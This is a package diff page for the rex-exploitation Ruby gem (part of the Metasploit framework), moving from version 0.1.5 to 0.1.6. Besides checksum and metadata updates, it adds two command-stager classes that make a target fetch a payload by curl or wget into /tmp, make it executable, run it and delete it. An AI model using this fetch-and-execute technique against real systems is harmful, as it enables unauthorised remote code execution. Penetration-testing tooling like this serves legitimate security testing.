rex-exploitation 0.1.5 → 0.1.6

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 8c3aa40c7752d6454ad471829bbd68a1128eaffb
4
- data.tar.gz: 60c827e7efa8f980112e457a79734f4ca1db14d4
3
+ metadata.gz: 80afdc8e550167ae91e8e08edd84a2740556cfba
4
+ data.tar.gz: 5ddda4d0ea91af79b9847b1f1d36a2b8c3c61d8b
5
5
  SHA512:
6
- metadata.gz: ee3c1d1aa91fa76fa5a6d74d33f4742cbdc9e8fb4e0e28092ce8d4dbf47c58e7c50f112c2c42606d5785882e4c64a62a0d7efc898866efd77cded938bc5fb7be
7
- data.tar.gz: b8bf736891ac1c6d1e045b84df46136f9f29ac29d45ad02f2494b795bd35a067b42d82c2c0d1a3713eaf99da4d426ac1a5f208ba08154493cc295d57d48de51e
6
+ metadata.gz: e584e169273b66bd8ed80828e6dd438dcd30e086cbc66ede2ae119ef3b8a13304ea7ef9db096bd717d033b4d636540e626bf81a58dc57855b0aa02ed8b6aefa6
7
+ data.tar.gz: 9c21de05b924fda0a016019aaf67a460395c1601ad0dbee116ebaf670aad72e2c2e958e4617f29cb35b1a24d9d2fb49e6b7a8101f130b0fb6a7e97ccc50368da
checksums.yaml.gz.sig CHANGED
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -9,3 +9,5 @@ require 'rex/exploitation/cmdstager/tftp'
9
9
  require 'rex/exploitation/cmdstager/bourne'
10
10
  require 'rex/exploitation/cmdstager/echo'
11
11
  require 'rex/exploitation/cmdstager/printf'
12
+ require 'rex/exploitation/cmdstager/wget'
13
+ require 'rex/exploitation/cmdstager/curl'
@@ -0,0 +1,26 @@
1
+ # -*- coding: binary -*-
2
+
3
+ class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
4
+
5
+ def http?
6
+ true
7
+ end
8
+
9
+ def compress_commands(cmds, opts)
10
+ if opts[:payload_uri].nil?
11
+ raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
12
+ end
13
+
14
+ opts[:temp] ||= '/tmp'
15
+ payload_file = opts[:payload_uri].split('/').last
16
+ payload_path = opts[:temp] + '/' + payload_file
17
+
18
+ cmds << "curl -ko #{payload_path} #{opts[:payload_uri]}"
19
+ cmds << "chmod +x #{payload_path}"
20
+ cmds << payload_path
21
+ cmds << "rm -f #{payload_path}" unless opts[:nodelete]
22
+
23
+ super
24
+ end
25
+
26
+ end
@@ -0,0 +1,26 @@
1
+ # -*- coding: binary -*-
2
+
3
+ class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
4
+
5
+ def http?
6
+ true
7
+ end
8
+
9
+ def compress_commands(cmds, opts)
10
+ if opts[:payload_uri].nil?
11
+ raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
12
+ end
13
+
14
+ opts[:temp] ||= '/tmp'
15
+ payload_file = opts[:payload_uri].split('/').last
16
+ payload_path = opts[:temp] + '/' + payload_file
17
+
18
+ cmds << "wget -P #{opts[:temp]} #{opts[:payload_uri]}"
19
+ cmds << "chmod +x #{payload_path}"
20
+ cmds << payload_path
21
+ cmds << "rm -f #{payload_path}" unless opts[:nodelete]
22
+
23
+ super
24
+ end
25
+
26
+ end
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Exploitation
3
- VERSION = "0.1.5"
3
+ VERSION = "0.1.6"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-exploitation
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.5
4
+ version: 0.1.6
5
5
  platform: ruby
6
6
  authors:
7
7
  - David Maloney
@@ -88,7 +88,7 @@ cert_chain:
88
88
  G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
89
89
  8mVuTXnyJOKRJA==
90
90
  -----END CERTIFICATE-----
91
- date: 2016-12-28 00:00:00.000000000 Z
91
+ date: 2016-12-29 00:00:00.000000000 Z
92
92
  dependencies:
93
93
  - !ruby/object:Gem::Dependency
94
94
  name: bundler
@@ -253,12 +253,14 @@ files:
253
253
  - lib/rex/exploitation/cmdstager/base.rb
254
254
  - lib/rex/exploitation/cmdstager/bourne.rb
255
255
  - lib/rex/exploitation/cmdstager/certutil.rb
256
+ - lib/rex/exploitation/cmdstager/curl.rb
256
257
  - lib/rex/exploitation/cmdstager/debug_asm.rb
257
258
  - lib/rex/exploitation/cmdstager/debug_write.rb
258
259
  - lib/rex/exploitation/cmdstager/echo.rb
259
260
  - lib/rex/exploitation/cmdstager/printf.rb
260
261
  - lib/rex/exploitation/cmdstager/tftp.rb
261
262
  - lib/rex/exploitation/cmdstager/vbs.rb
263
+ - lib/rex/exploitation/cmdstager/wget.rb
262
264
  - lib/rex/exploitation/egghunter.rb
263
265
  - lib/rex/exploitation/encryptjs.rb
264
266
  - lib/rex/exploitation/heaplib.js.b64
metadata.gz.sig CHANGED
Binary file